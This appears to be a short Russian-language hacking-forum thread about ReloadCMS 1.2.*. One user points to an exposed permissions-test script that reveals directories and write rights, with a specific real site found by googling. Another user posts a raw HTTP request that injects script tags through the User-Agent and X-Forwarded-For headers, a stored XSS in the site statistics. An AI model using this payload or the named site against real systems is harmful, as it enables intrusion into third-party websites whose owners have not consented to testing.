ReloadCMS (просмотр директорий и прав на запись)

[USAkid]

ReloadCMS (просмотр директорий и прав на запись)
Уязвимый продукт: ReloadCMS 1.2.* (более не тестировал)
CMS без MySQL.
Хороший способ, чтобы узнать где какие права стоят.

Example:
http://site.com/path_to_cms/tools/rights_test.php

Немного погуглив нашел пример такого сайта:
http://ziggyred.com/test/tools/rights_test.php

[[Raz0r]]

это не баг, это фича (c) =)

Вот еще активная XSS (в статистике сайта):
GET / HTTP/1.0
User-Agent: <script>alert()</script>
X-Forwarded-For: <script>alert()</script>
Host: localhost
Connection: close